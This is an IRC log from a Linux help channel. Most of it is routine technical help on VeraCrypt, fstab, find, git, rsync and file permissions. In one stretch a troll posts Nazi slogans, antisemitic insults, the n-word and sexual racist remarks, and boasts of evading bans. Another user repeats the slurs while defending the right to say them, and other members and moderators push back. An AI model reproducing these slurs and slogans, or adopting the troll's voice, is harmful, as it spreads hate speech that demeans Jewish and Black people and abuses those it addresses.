13:39 < oiaohm> funksh0n: Linux native file systems not imported part support stuff from windows.   At times you will use a loopback file on ntfs and fat32 to get around file system limitations.
13:39 < funksh0n> I'm doing the same test now. I've used exfat in the past and it's been fine, but it's only been for some sensitive text documents, not running binaries or anything.
13:40 < oiaohm> funksh0n: running binaries you get into needing memory maps and the like and things start taking turns for the worst.
13:40 < funksh0n> I see
13:40 < lite4y> is  there a way to find if file system is Read-Only using /etc/fstab?
13:41 < funksh0n> lite4y: does it have the ro option?
13:41 < oiaohm> funksh0n: even some applications opening files can run into trouble because when they open files they using different forms of memory mapping that find what exfat, fat32 and ntfs are missing.
13:41 < alexandre9099> oiaohm, what if i need the file to be opened on windows veracrypt?
13:41 < funksh0n> oiaohm: so do you just need to ensure you've got support for those filesystems?
13:42 < lite4y> funksh0n: i dont see ro or w entry in /etc/fstab
13:42 < oiaohm> alexandre9099: depending on what you need to work on those file sometimes it copy to Linux native file system work on it there and then copy it back.
13:42 < funksh0n> I'm not knowledgeable on the technicalities, but fwiw exfat has been fine for me accross windows (7, 10), macos and linux (arch, debian)
13:43 < oiaohm> funksh0n: this is something that at first appears fine until the day it does not work.
13:43 < funksh0n> lite4y: if rw or ro are not specified, I assume it would fall back to a default.
13:43 < lite4y> funksh0n: what is default? rw?
13:43 < funksh0n> no idea sorry
13:43 < lite4y> funksh0n: and where is the default mentioned? in any of the sysctl properties?
13:44 < funksh0n> maybe a manpage?
13:44 < Myrl-saki> How do I nix-shell a drv?
13:44 < alexandre9099> nope, even on ext4 filesystem it asks for admin privileges,if i get my user password wrong (which got root access trough sudo) it says that it failed to get administrative privileges
13:45 < funksh0n> lite4y: look at `man fstab` it covers the defauls in "The fourth field"
13:45 < funksh0n> alexandre9099: are you launching vera with sudo?
13:45 < funksh0n> don't :p
13:46 < alexandre9099> no (that would be bad, i guess)
13:46 < funksh0n> I don't know what the reprecussions would be, but it's not needed - and a moot point if you're not anyway.
13:46 < oiaohm> alexandre9099: if this is wine application should never ask you for admin privileges unless the that wine tells every application that is administrator is not working.
13:46 < BluesKaj> Hiyas all
13:47 < funksh0n> Veracrypt has native Linux support oiaohm
13:47 < alexandre9099> oiaohm, no, i'm trying to run veracrypt without root privileges
13:47 < revel> I don't think you can.
13:48 < funksh0n> revel: I can run veracrypt and mount just fine without sudo/root.
13:48 < revel> Hmm. I thought I remembered you having to enter a password at least once.
13:49 < alexandre9099> funksh0n, do you need to put your root password on the first time (besides the container one)
13:49 < alexandre9099> ?
13:49 < oiaohm> alexandre9099: https://www.phoronix.com/scan.php?page=news_item&px=Linux-Unprivileged-FUSE-Almost   mounting requires privillage.
13:49 < oiaohm> alexandre9099: at least until 4.18 that is not released yet.
13:49 < alexandre9099> oiaohm, but, isn't there pmount or something like that (which some file managers use to mount filesystems without privileges)?
13:51 < alexandre9099> no, i think it was fuser or fuse, not sure
13:52 < oiaohm> alexandre9099: https://linux.die.net/man/1/pmount  pmount is a form of wrapper that allows  user to trigger action approved by policy by root user.   It doe snot support veracrypt at this stage.
13:54 < alexandre9099> IIRC this does not require root https://github.com/johang/btfs and does mounting, it would be nice to see something similar on veracrypt :)
13:55 < funksh0n> alexandre9099: no, I'm just running it as my regular user.  I am a member of wheel but I'm not utilising it - I'm just running it as me.  The only password I have to enter is the container password.
13:55 < funksh0n> the container file is in my home directory and I own the mountpoint.
13:56 < alexandre9099> hmm awkward, maybe you have "no password sudo"?
13:56 < funksh0n> I do not.
13:56 < funksh0n> and again, I'm not using sudo
13:56 < oiaohm> funksh0n: what is the mount command.
13:57 < alexandre9099> you don't, but i assume that veracrypt uses sudo to escalate privileges, if i had time i could try with another user :)
13:57 < funksh0n> alexandre9099: I take that back, I AM using passwordless sudo...  Sorry!
13:57 < alexandre9099> oh :D that explains it XD
13:57 < funksh0n> oiaohm: I don't know, veracrypt is gui so I just let it do it's thing.
13:58 < rangergord> is veracrypt less of a slow joke if you use its own containers instead of TrueCrypt's?
13:58 < funksh0n> Sorry alexandre9099 my bad.  Typically I do not use passwordless sudo, but I'm not on a typical machine right now :P
13:58 < alexandre9099> rangergord, afaik truecrypt was deprecated, no longer supported
13:58 < alexandre9099> funksh0n, well, no problem :)
13:59 < funksh0n> rangergord: doesn't run slowly for me with AES default settigns.
13:59 < alexandre9099> so, is there any alternative to veracrypt that does not require root?
13:59 < rangergord> alexandre9099: all I remember is veracrypt taking 5 minutes to validate my password on a TC volume, then failing...even though it worked fine on TC 7.1a. So I just kept using 7.1a.
13:59 < revel> alexandre9099: GPG-encrypted tar archives? :P
13:59 < rangergord> anyway the sort of data theft I'm worried about, TC is enough for me. It's just credit card info, passport scan, etc.
13:59 < oiaohm> alexandre9099: problem is dm-crypt is support by pmount but librecrypt on windows is now not maintained.
14:01 < rangergord> I'd rather use a high-quality deprecated tool than a crappy maintained replacement
14:01 < revel> rangergord: How's Veracrypt crappy...?
14:02 < revel> It's a fork of Truecrypt, after all.
14:02 < revel> Can you tell me exactly what they did to make it worse?
14:02 < rangergord> revel: like I said, it took forever to open my TC container, only to reject the password (which wasn't incorrect, so that's even worse). TC would tell you if your password was incorrect instantly.
14:02 < rangergord> they claim TC volume compatibility, and they fail at that
14:03 < oiaohm> rangergord:  the security audit on Truecrypt that made verecrypt did result in it not opening a few old partitions with failing passwords.   These also turn out to be partitions that could be cracked open.
14:03 < TheFartGoblin> we all have the right to shit our pants.
14:04 < JimBuntu> No ma'am, that's a privilege.
14:04 < rangergord> what do you mean by old partitions? volumes created by older TC versions?
14:04 < revel> rangergord: Compatibility with its predacessor is the only thing you want?
14:04 < TheFartGoblin> ma'am?   ???
14:04 < TheFartGoblin> im a dude you stupid fucker
14:04 < rangergord> revel: I'm saying it wasn't exactly a good first impression, so I dropped it
14:04 < TheFartGoblin> HAIL HITLER
14:04 < rangergord> TheFartGoblin: you mean Hydra?
14:04 < revel> You mean Eris?
14:04 < TheFartGoblin> no i mean Hitler a.k.a. your mom
14:04 < JimBuntu> Do you mean like raining from the sky or like throw frozen ice at something?
14:05 < TheFartGoblin> nah dude
14:05 < JimBuntu> "frozen ice"
14:05 < TheFartGoblin> here i will say it in german
14:05 < TheFartGoblin> HEIL HITLER
14:05 < TheFartGoblin> DEUTSCHLAND ÜBER ALLES
14:05 < revel> !ops TheFartGoblin bad troll
14:05 < TheFartGoblin> ALLE HEIL DAS DRITTE REICH
14:05 < TheFartGoblin> !ops revel fat jew
14:05 < revel> :D
14:05 < revel> I'm just pudgy.
14:05 < TheFartGoblin> im not that bad lol
14:06 < rangergord> TheFartGoblin: you can't play a videogame or something when you're bored?
14:06 < rangergord> you have to come in a tech channel and spew stuff that wasn't even provocative anymore even 10 years ago?
14:06 < djph> JimBuntu: I'm pretty sure he meant "I'm a 10 year old, and using mommy's computer without her permission, please don't tell her."  But then I /ignored him, so ...
14:07 < rangergord> djph: 10 to 1 says he's at least 30
14:07 < TheFartGoblin> the JDL would disagree lll
14:07 < TheFartGoblin> *lol
14:07 < rangergord> am I right or am I right?
14:07 < revel> JDL?
14:07 < TheFartGoblin> im 21 years old
14:07 < revel> You mean the JDF?
14:07 < TheFartGoblin> whatever
14:07 < JimBuntu> Jewish Defense League
14:07 < TheFartGoblin> yeah, that
14:07 < revel> Maybe JDL.
14:07 < djph> rangergord: yeah but "30 year old using mommy's computer without her permission" just doesn't sound right.
14:08 < TheFartGoblin> a.k.a. the jew world order
14:08 < rangergord> easy there Ronaldo
14:08 < revel> Hmm. Why'd I think IDF was JDF?
14:08 < TheFartGoblin> rangergord: suck a penis, nigger
14:08 < TheFartGoblin> lol
14:08 < TheFartGoblin> i said the N word
14:09 < TheFartGoblin> now im really edgy
14:09 < oiaohm> rangergord: https://www.extremetech.com/computing/215285-critical-truecrypt-security-bugs-finally-found    The reality of security.   Items get deprecated and you have to work around it.  Also due to other bugs vegacrypt only support back to a partitions created in truecrypt 6.0 or latter.
14:09 < rangergord> well you really triggered me there, so I'm gonna leave
14:09 < djph> rangergord: how about "random hipster trying to sound edgy while she types from her LGBTQ safe-place on campus" ?
14:10 < rangergord> oiaohm: hmm, I don't recall using TC that is so old. I'll see if I can detect volume version somehow.
14:10 < TheFartGoblin> how about this:  i like nigger pussy.  where is all the colored porn?
14:11 < rangergord> nope, no way to do that
14:11 < oiaohm> TheFartGoblin: https://freenode.net/policies I think you are attempted to see how many times you can break freenode policy without getting a kline.
14:11 < rangergord> Volume Format Version maybe?
14:12 < TheFartGoblin> oiaohm: I am k-lined several times.  there's always another free vpn server out there
14:12 < revel> Calm down there, kiddo.
14:14 < oiaohm> TheFartGoblin: Ok so your are doing spam source mapping before major spammers find them keep up the good work getting klined.
14:14 < konimex> what a badass
14:17 < xandroid52> thefartgoblin the jew world order xssaxsxsxsxsxsxs agr hjhkjdal dfk xD best thing i saw today
14:17 < xandroid52> thefartgoblin thatsracist.jpg
14:17 < revel> xandroid52: He got k-lined already.
14:18 < rangergord> I was starting to think he'd need to mock Linux to get banned
14:19 < djph> hurhur linux, you noobs it only has like 1% marketshare according to that browser-website.  get with the times... additional derision we're all familiar with here .
14:19 < oiaohm> rangergord: freenode ops normally wait until someone warns person about policy or channel guidelines.   Then they normally have 5-10 mins.
14:20 < oiaohm> djph: really good survey would be how many Linux users run adblock or equal that blocks all survey sites.
14:21 < xandroid52> oiaohm tell me
14:21 < xandroid52> what is kline
14:21 < xandroid52> i assume that is like a permanent ban
14:21 < kline> i am kline
14:21 < xandroid52> kline hello
14:21 < xandroid52> i dont ask for who is kline i ask for what it is
14:22 < funksh0n> rangergord: to your original question - veracrypt opens its own volumes quickly.  I've got a large volume inside a vm that's running off a 7200rpm 2.5" and it only takes a few seconds to open the container.
14:22 < revel> Hi, kline. Please don't k-line me.
14:22 < oiaohm> xandroid52: https://en.wikipedia.org/wiki/IRCd#K-line
14:23 < oiaohm> xandroid52: even so freenode k-line is more a g-line.
14:23 < oiaohm> xandroid52: basically service wide ban.
14:23 < xandroid52> bwhy
14:24 < djph> oiaohm: assuming you got them to answer the survey in the first place.  Although, even if that whole "marketshare by web browser" thing was 100% accurate, it ignores the fact that *nix tends to dominate the server side...
14:24 < xandroid52> i think you dont have a reason, saying pe**is or the n word is not a reason to kline someone :/
14:25 < oiaohm> djph: you just said the biggest problem about attempting to work out how large Linux is.  Linux people love avoiding all forms of surveys.
14:25 < xandroid52> anyway black lives matter i support lgbtqiasdfqwerty12354+++++++++++ pls dont kline me ok?
14:25 < djph> oiaohm: hah, yup.
14:26 < xvzf> I have "control keycode   6 = Control_bracketright" in my .kmap file. What key is keycode 6? What table contains the mapping of keycodes onto physical keys?
14:27 < oiaohm> xandroid52:  https://freenode.net/policies  if you read down here to off-topic usage they have a few legal requirements to ban people.   http://freenode.net/changuide  Avoid sensitive material does apply to this channel due to the fact we do get high schools in different places teaching Linux so students.  Also people in from work bad langauge is not good either.
14:30 < djph> xvzf: I think the "keycode" is ^] .  As for why it's called "keycode 6" ... dunno.
14:30 < oiaohm> xandroid52: people commonly make the mistake that being on-line gets away from the law of the land.   When on line it means dealing with your countries law of land and what ever is the law of the land where the service you are using is based.
14:31 < rangergord> oiaohm: you saying that the troll had to be k-lined because we have servers in countries with very weak protection for freedom of speech?
14:31 < rangergord> and the server owners could be held responsible?
14:31 < xandroid52> oiaohm the law is a fake illusion of social codes that make us live in society and in peace, the truth will always be that there is not such thing as "law" there are actions, that moveeverything, if you want to make condition for that actions and call them laws or social codes or whatever, is your problem,
14:31 < xvzf> djph: I am trying to get escaped from telneting a dummy socket. In theory, CTRL-] is the escape character but on my Hungarian keyboard it should be CTRL-5. I tried both 5 on the keyboard and 5 on the numpad to no avail. Do you have any idea what could go wrong?
14:33 < kazdax> aloh aamigos
14:34 < xandroid52> if you want to say that being online is the same that being on the land, you are so so so wrong, its not the same, it will never be, you cant compare seeing a person with seeing a screen
14:34 < djph> xvzf: perhps you need a modifier (e.g. ctrl + shift-5) ?
14:34 < rangergord> xandowsk: oiaohm was stating governments' position, not his own
14:34 < rangergord> (necessarily)
14:35 < oiaohm> rangergord: really the servers are in many countries and what has is legally allowed as to align with all those countries.   Very few countries have unlimited freedom of speech.
14:36 < oiaohm> rangergord: as far as I know countries without restriction on freedom of speech you don't have internet connections to run internet services.
14:38 < xandroid52> kazdax привует
14:40 < oiaohm> xandroid52: its just the price of operation.  To run items like irc you do have to confirm to local laws or end up at times with servers ceased and other problems.   So a law being fake or not does not really help you when your server hardware is stuck in a evidence locker of the next 15 years because you ignored them.
14:40 < xvzf> djph: telnet says it is CTRL-]. Now, running zcat /lib/kbd/keymaps/i386/qwerty/hu101.map.gz | grep "Control.*bracketright" gives me: control keycode   6 = Control_bracketright -- which is the key I need. grepping again I get: keycode   6 = five              percent         degree -- so this is indeed the 5 so I need CTRL-5. I wonder why this does not work. What setting could I have? A student of mine had it worked on the same machine b
14:41 < interrobangd> mawk, thank you very much, works perfect!
14:41 < ShalokShalom> hi
14:41 < ShalokShalom> i am a newbie: http://docs.humhub.org/admin-installation.html#file-permissions
14:41 < ShalokShalom> file permissions
14:41 < jim> hi
14:41 < ShalokShalom> i am in the folder
14:42 < interrobangd> mawk, i have cloned your repo
14:42 < ShalokShalom> how to make these dirs writeable by the webserver?
14:43 < djph> xvzf: is your regional / language setting correct?  also if it's changing, that's not good.
14:43 < jim>  - they could be owned by the user the webserver runs as
14:43 < xvzf> djph: locale says I have hu_HU.utf8 for everything
14:43 < xandroid52> oiaohm i dont get your point right, but i agree with gline people who is being annoying without reason and just bc he find funny to make people upset
14:44 < mawk> hi interrobangd
14:44 < djph> xvzf: hm, that should work then - you have to provide the symbol "]". I don't know where that is (or what key combination you'd need) to send that across though.
14:44 < mawk> great !
14:44 < jim>  - the user the webserver runs as could be added to a group that owns the dir, and chmod appropriately
14:44 < bumbar_> how can i change source ip for some process (can't filter based on destination because there's several processes that communicate to the same outside service)
14:45 < djph> xvzf: on an EN_US keyboard, it doesn't need any modifiers (i.e. "]" is obtained with a single keypress)
14:45 < jim>  - (NOT recommended) you could add write permission to "other"
14:46 < mawk> add write permission to the group, set mode g+s so that files get automatically owned by that group no matter the user, set umask to 002
14:46 < xandroid52> oiaohm laws are a lie as i said, english is not my native language so i dont get you at all, but i just think that if i make jokes about penises and niggers nobody should offense, internet is not a place for childrens, internet has no owner or rules, if i want to say that, i will, but i dont, bc its a respect issue, and i dont want to offend people, but i have 100% right of say whatever i want, if you will kline me for thinking like this, do it now
14:46 < xandroid52>  or shut forever , thanks for your time
14:46 < mawk> or use some ACL
14:46 < mawk> lol xandroid52
14:46 < mawk> I can run naked in the street, nobody should offense
14:46 < jim> ShalokShalom, those are the three ways using unix file permissions; there may be other options if ACLs are available
14:46 < mawk> I can show horror movies to cardiac grandmas, nobody should offense
14:46 < kline> xandroid52, ##linux is for linux discussion
14:46 < xandroid52> mawk no its not the point bc im not in the street i am in an irc
14:46 < djph> mawk: I wouldn't.  But I would call the cops ... those guys in lockup are, well, lonely.
14:47 < kline> not the right to be offended
14:47 < mawk> lol
14:47 < kline> so id suggest we drop the topic
14:47 < mawk> I can make enhancements if you want interrobangd
14:47 < mawk> now the order doesn't matter, you can put mnt before net
14:48 < xandroid52> sorry if im making discussion i just want to make myself clear i wont say stuff like that but i want to make clear that i can do it if i want, but this is not a place for doing that stuff but dude, he just say it peniss and niggerr why kline him xD
14:48 < kline> xandroid52, because its against freenode policy
14:49 < jim> xandroid52, watch your language
14:49 < jim> xandroid52, the n word is a bannable offence just by itself
14:50 < ShalokShalom> jim: oh fine
14:50 < ShalokShalom> which way would you choose as a beginner?
14:50 < ShalokShalom> i am hosted at uberspace, so I am without any root access on the server
14:50 < jim> ShalokShalom, one of the first two
14:51 < ShalokShalom> ok..
14:51 < jim> -not- the third
14:51 < ShalokShalom> i think the current user is already the owner, since I downloaded the files with it?
14:51 < ShalokShalom> there is no other user in that home
14:51 < jim> (I mention the third because it is a possibility, but it's also problematic)
14:51 < ShalokShalom> i see
14:52 < jim> oops be right back
14:52 < xvzf> djph: it had to do with MobaXTerm which I use for a terminal emulator. I tried with putty and there CTRL-5 (alphanumeric keyboard) worked.
14:54 < xandroid52> jim yes, i know, i m not trying to offend anyone, i have issues with rules at every place that i go, ill try to watch my language
14:59 < rangergord> *FACEPALM* subversion's config file doesn't support ~ in paths. WTF?
15:00 < mawk> is the current user what you think ?
15:00 < mawk> anyway
15:00 < jim> isn;t subversion subversive?
15:00 < JimBuntu> subversion has been revisioned, please see git
15:00 < peetaur2> rangergord: use git
15:00 < rangergord> JimBuntu: this is for a client who still use svn, I got no choice
15:00 < mawk> drop the client
15:01 < rangergord> I use git on the local side
15:01 < ShalokShalom> Git is awesome
15:01 < ShalokShalom> So long as you stick to a GUI :P
15:01 < JimBuntu> I like mawk 's suggestion, but I understand and suggest you do your work in git, if allowed, then push all changes at once to the svn repo
15:01 < mawk> sendmail client@clientland.com -s "You're fired !"
15:01 < peetaur2> show him an offer $800k to build it with subversion, or $500k to do it with git and free migration from subversion
15:02 < rangergord> JimBuntu: that's what I usually do, but I have to merge my dev branch with the main branch to pull their latest changes. Gotta use svn for that.
15:02 < thebigj> Any tutorial on writing systemctl?
15:02 < JimBuntu> yuk
15:02 < rangergord> peetaur: yikes, is that the sort of money you make?
15:02 < thebigj> Thanks!
15:02 < thebigj> Systemctl service/
15:02 < thebigj> ?
15:02 < peetaur2> rangergord: just ratios...apply them to the size of the project
15:02 < rangergord> peetaur2: divide by 100. got it.
15:02 < JimBuntu> thebigj, please be patient, someone or another if possibly running your google/bing search for you right now
15:03 < jml2> JimBuntu, google is better than bingie
15:03 < rangergord> I'm unironically using Edge with Bing right now
15:03 < jim> ShalokShalom, it's definitely possible to get used to git at the command line
15:03 < ShalokShalom> sure sure
15:03 < rangergord> I ONLY use git at the CLI. The trick is to stick to the surface, and don't attempt to understand git.
15:04 < mawk> thebigj: man systemd.service; man systemd.unit
15:04 < ShalokShalom> it`s definitely possible that you mess up your whole configuration pretty easy
15:04 < ShalokShalom> rangergord: yeah, sure
15:04 < jml2> rangergord, surface as in MS surface tablet? XD
15:04 < rangergord> thebigj: I found ArchLinux's systemd wiki entries invaluable to learning systemd (and I'm a Ubuntu user, never used Arch)
15:04 < JimBuntu> ShalokShalom, I use git nearly every day, I haven't even seen the GUI since 2014 or around there, I'm not even sure how long it's been
15:04 < ShalokShalom> do you use rebase?
15:04 < peetaur2> start with the surface..don't let it overwhelm you... learn about it gradually
15:04 < ShalokShalom> yep
15:04 < jim> what all do you have to do with git normally? - create a repo, - commit, - push
15:04 < jml2> rangergord, systemd is very well documented at freedesktop.org
15:05 < rangergord> ShalokShalom: I used to, now I just lazily do a normal merge
15:05 < ShalokShalom> https://learngitbranching.js.org/
15:05 < jml2> rangergord, problem is it's confusing at the start because the possibilities are explained across 3 manpages
15:05 < jim> ShalokShalom, are you using git with others who are also using git?
15:05 < peetaur2> jim: but there's more...like if you want to test something and butcher the code horribly and want to be able to revert, you make a new branch   git checkout -b wip-test-horrible-hackery  and commits there won't mess up the normal one
15:06 < ShalokShalom> jim: sure
15:06 < JimBuntu> git flow... start features, commit changes, publish them, track them, merge them, co files I have messed up too badly to bother fixing manually, lol
15:06 < jim> so you're committing too?
15:07 < no_gravity> Hello! Is there a way to do this? find /some/path/ --but-not-the-stuff-in /some/path/somesub/
15:07 < sujeet> Hi, can someone tell me what the result of wget https://code.jquery.com/jquery-2.0.3.min.js is for them?
15:08 < sujeet> or -O /dev/null
15:08 < jim> ShalokShalom, that is, you're pushing commits you make to an upstream repo that others also push to?
15:08 < no_gravity> sujeet: I get back a bunch of js
15:08 < sujeet> wtf
15:09 < jim> be right back
15:09 < sujeet> I get a 301 back toitself
15:09 < jml2> no_gravity, use the exclude
15:09 < xvzf> djph: it works on putty, does not work on MobaXterm.
15:09 < no_gravity> jml2: ?
15:09 < djph> xvzf: seems to be a ... wait, putty? are you on windows?
15:09 < jml2> no_gravity, use the manpage, it'll tell you many ways actually
15:09 < xvzf> djph: yes, sorry not to mention it
15:10 < peetaur2> no_gravity: find /some/path -not -path "/some/path/somesub/*"
15:10 < djph> xvzf: err, you're probably better to ask in #windows then, why those programs aren't listening to the right key combinations.
15:11 < xvzf> djph: ok
15:11 < djph> or why they're not forwarding the right combos to the machine
15:11 < mawk> on my gitlab README.md is one commit late on the front page
15:11 < mawk> that's super lame
15:12 < mawk> hitting the "housekeeping" button does nothing
15:13 < solidfox> mawk, maybe squash and force push if nobody else uses your repo
15:13 < repys> what is the exit status 255?
15:13 < mawk> solidfox: interrobangd uses the repo
15:14 < no_gravity> peetaur2: That seems to not exclude anything.
15:14 < interrobangd> mawk, big thx.!
15:14 < jml2> no_gravity, the manpage tells you with examples
15:14 < jml2> no_gravity, gotta rtfm :)
15:15 < no_gravity> By the way, I also want to exclude somesub itself.
15:15 < solidfox> mawk, so it's just the 2 of you?
15:15 < no_gravity> So I want to find everything in /some/path/ but not /some/path/somesub/ and its contents.
15:15 < thebigj> rangergord: Archwiki's I found are good one
15:16 < solidfox> mawk, if you both are fully pushed and caught up with master, and on the same latest commit, you could squash, force push real quick. then have interrobangd pull the new history
15:16 < thebigj> mawk: Thanks!
15:16 < thebigj> JimBuntu: Thanks!
15:16 < peetaur2> no_gravity: you probably messed up the paths.... make some dirs that are literally what I had in my example and see it works  https://bpaste.net/show/1f008c164f96
15:17 < peetaur2> the 2nd would also exclude things like /some/path/somesubwhichshouldnotbeexcluded/
15:18 < peetaur2> first shows the dir but not contents you wanted to exclude...an unlisted option would exist to add a 2nd expression for just the dir, or the 3rd used ? so it was 1 expression instead of a 2nd
15:18 < no_gravity> peetaur2: One moment, let me figure it out...
15:27 < no_gravity> peetaur2: Maybe it's different here because my path starts with "~"? Maybe the shell does not expand it?
15:28 < jml2> no_gravity, he's giving bad advice, use the -prune as it states in the manpage
15:29 < peetaur2> no_gravity: the shell will expand ~ when it's not in quotes and is alone or has / after it (otherwise it expects what's after it to be a user name)
15:30 < no_gravity> peetaur2: Yeah, so the quotes kill it.
15:32 < ArcherL> Hi, i am trying this bash program and wanted to know how to optimize it. There is one condition i am only supposed to use the wget..https://pastebin.com/zGtiP5kT
15:32 < ArcherL> any suggestions will be highly appreciated Thanks!
15:32 < Psi-Jack> ArcherL: bad pastebin.com bad! :)
15:33 < jim> ArcherL, also you may wish to ask on #bash
15:33 < Dominian> :)
15:33 < Dominian> pastebin used to be good...
15:33 < Dominian> long ago
15:33 < ArcherL> Ohk Thanks anyway :D
15:33 < ArcherL> Dominian I believe its still good :D
15:33 < Psi-Jack> ArcherL: pastebin.com is frowned upon due to many issues they themselves have caused. Pastes being reformatted, malvertising, adblock blocking, being blocked due to many reasons. See /topic for the channel's official pastebin.
15:34 < jim> not saying you can't ask here, just that #bash might be an additional source of info
15:34 < ArcherL> jim: i get, no issues :P
15:35 < jim> also, here's a handy pastebin, for command output: you can pastebin the output of an arbitrary command by running "anArbitraryCommand | nc termbin.com 9999", and to include error messages, "anArbitraryCommand 2>&1 | nc termbin.com 9999"
15:35 < Dominian> Psi-Jack: I missed rafb.net
15:35 < Dominian> Psi-Jack: I used to have a bakcup of the source code somew here lol
15:36 < Psi-Jack> Dominian: Heh. oh? I never really used that one. I'd considered setting up a termbin alternative, but, I like the multipurpose functionality of stikked. :)
15:37 < kazdax> i just installed bittorrents
15:37 < kazdax> but cant find the command to run it
15:37 < ArcherL> Any suggestions on the code?
15:37 < Psi-Jack> ArcherL: Can't see it to help ya.
15:39 < turkeyhand> in gnome what's that little tab thing in the bottom left and how do I get it?
15:39 < lite4y> is there a good resource to learn about virtual file system.. also do we know about file system before learning about VFS
15:39 < Dominian> Psi-Jack: rafb.net was like.. uber plain text. flat files
15:40 < Psi-Jack> Hmmmmmm..
15:40 < Dominian> Psi-Jack: no DB involved at all.. really fast... when the site went down, I emailed the maintainer.. and he sent md the code
15:40 < Psi-Jack> Dominian: Kinda like termbin, on the server side.
15:40 < Dominian> Psi-Jack: yeah
15:40 < Dominian> kinda
15:40 < Psi-Jack> termbin is totally flatfile based.
15:40 < Psi-Jack> Just the process to run it specifically is in C.
15:41 < jim> ArcherL, back when the linux box I was using as my gateway had 1/2 gig of ram, whenever I looked at pastebin.com pastes from people, it would crash my browser... every time...
15:41 < Psi-Jack> The one thing nobody really knows about termbin is, do they ever delete your pastes? ;)
15:41 < turkeyhand> does anyone know that little tab thing in the bottom left that comes up with notifications like hexchat and similar
15:42 < Psi-Jack> tab? You mean notifications?
15:42 < ArcherL> shellcheck.net seems a good way to enhance bash codes, just saying
15:42 < ArcherL> jim you were write about #bash
15:42 < Psi-Jack> ArcherL: Yes. shellcheck.net is awesome.
15:42 < azarus> POSIX compliant shell scripts or bust!
15:42 < jim> Psi-Jack, well the good thing about termbin, is their code is under git, and they publish the repo address... so (for example) we could have a termbin
15:42 < JimBuntu> Psi-Jack, we don't have a way to know, but they stop serving them after a month
15:43 < Psi-Jack> jim: Yep. I was just mentionting I'd thought about it.
15:43 < Psi-Jack> I might still actually, but termbin is easily spammable, where-as stikked has anti-spam functionality.
15:43 < Psi-Jack> JimBuntu: So they likely just do find -mtime +30 -delete
15:44 < safinaskar> is there channel related to linux kernel development?
15:44 < jim> ArcherL, they helped you?
15:44 < JimBuntu> Psi-Jack, lol, they could have a cron or something that you are supposed to set up, It's been a couple months since I looked at the code, it may do this as a built in helper function.
15:44 < ArcherL> No but they were talking about something that helped me
15:44 < JimBuntu> #linux-kernel
15:45 < jim> safinaskar, one place that might be, #kernelnewbies on oftc.net
15:45 < Psi-Jack> JimBuntu: It's not. :)
15:45 < jim> safinaskar, also, there is a bot, alis, that can assist you in looking for channels on the Freenode irc net. To start, /msg alis help
15:45 < JimBuntu> Psi-Jack, no? I thought it was for kernel related stuff, I should go read the topic again, I may be wasting a line in my list by being in there, lol
15:46 < Psi-Jack> ArcherL: Heh. Pasting code to #bash, first glances usually sending you to shellcheck.net, especially if it burns their eyes.
15:46 < ArcherL> It will i guess
15:48 < Psi-Jack> JimBuntu: Was responding to your last message towards me. heh
15:49 < JimBuntu> Psi-Jack, yeah I see that now, started taking a quick look at their docs/code. Docs don't even talk about setting something to remove old posts.
15:50 < BCMM> JimBuntu: looks like of like a ghost town, with the /topic still talking about how to port stuff to 2.6!
15:51 < BCMM> safinaskar: ##kernel is not linux-specific, but is probably mostly about linux
15:52 < BCMM> sorry, the grammar in that other message went completely to pieces
15:52 < JimBuntu> BCMM, I noticed that, I have now part'd
16:10 < twainwek> here's something i learned yesterday by accident: doing C-x e in my terminal emulator opens my text editor with existing typed content, and if you edit it and save it, itlll update it. nice
16:11 < twainwek> getting angry and punching the keyboard does payoff apparently
16:20 < rangergord> I need help doing the following: find a bunch of files in a directory (recursively with subdirs), and copy them to a certain dir, while preserving the directories.  I would like to use find for this (instead of rsync or what have you), so I can use grep -v to filter out whatever I don't want. So I was trying to use xargs, and got as far as "find -type f | xargs -n1 -I '{}' cp '{}' destdir/",
16:20 < rangergord> but this copies them all into destdir in a flat manner. Any advice?
16:21 < djph> use rsync
16:21  * rangergord bites djph
16:22 < djph> rangergord: "right tool for the job" and all that.
16:23 < rangergord> sigh, allright. I'll go waste more time, reading rsync's exclude pattern docs
16:24 < rangergord> but really if I were smarter, I'd have written a Python script 15 minutes ago and called it a day
16:24 < djph> rangergord: or ask in #bash. But given your find command, rsync seems to be the more correct approach.
16:25 < LissajousPattern> well I guess my ISP finally figured out that their services will no longer be needed by myself.
16:25 < djph> LissajousPattern: oh?
16:25 < LissajousPattern> yeah no more internet for me
16:25 < djph> "oops"
16:25 < LissajousPattern> but yet here I am
16:26 < djph> oh, wait, weren't you that jackass who wanted to steal the 'net connection from their local library, since they're across the street or something
16:26 < LissajousPattern> yeah lol
16:26 < BCMM> rangergord: are you sure the filter you want can't be easily expressed as an exclude pattern in rsync?
16:26 < BCMM> oh sorry that already got mentioned. i'll shut up.
16:27 < rangergord> BCMM: it can, but I was trying to use/learn the more flexible find/grep/xargs so that I'm future-proof
16:27 < LissajousPattern> djph, which by the way I probably won't nor do I really need to
16:27 < djph> future-proof for what?
16:27 < LissajousPattern> obviously I can get online whenever I want
16:27 < rangergord> but I've given up, will just use rsync
16:27 < rangergord> reached my quota of annoyance for the day
16:28 < marktr> I feel rsync is fairly future proof
16:28 < rangergord> djph: further exclude patterns, that I can do in grep -v but might not be able to do with rsync
16:28 < djph> they're (IIRC) regexes in either case.  You should be fine (worst case, rsync is globs)
16:29 < rangergord> fair enough
16:29 < LissajousPattern> man so I saw someone making a claim that deepin was spyware...?
16:30 < djph> rangergord: man rsync -> "FILTER RULES" section
16:30 < LissajousPattern> is that true
16:31 < turbo64> hi
16:31 < rangergord> LissajousPattern: never heard of it, but since it appears to be Chinese, probably. You have to remember this is a country with no concept of privacy.
16:31 < LissajousPattern> ah true
16:31 < rangergord> Like, what we call spyware, they call normal
16:31 < twainwek> rangergord: $50 says your python script would not have worked as well as you expect it in the 15 minutes you spent making it
16:32 < turbo64> arent you from the country that invented facebook
16:32 < turbo64> and you want to talk about having a concept of privacy
16:32 < LissajousPattern> rangergord, I really didn't know anything about deepin to begin with
16:33 < djph> turbo64: at least with facebook it was "opt-out" privacy for a while (then they went full orwellian dystopia on everyone, which shouldn't have been surprising)
16:34 < rangergord> turbo64: I'm not American. But allowing citizens the freedom to invent a social media site with tracking behavior, and allowing other citizens the freedom to use the social media site, is not the same thing as a country where you literally have a "online social credit score" that can remove your right to ride a train
16:34 < LissajousPattern> slight difference
16:34 < triceratux> https://www.deepin.org/en/2018/04/14/linux-deepin-is-not-spyware/
16:34 < turbo64> well yeah the difference is chinese people have their privacy stolen from them
16:34 < turbo64> whereas americans willingly give it away
16:36 < turbo64> they understand the importance of privacy better than we do
16:36 < LissajousPattern> turbo64, you don't strike me as an American.
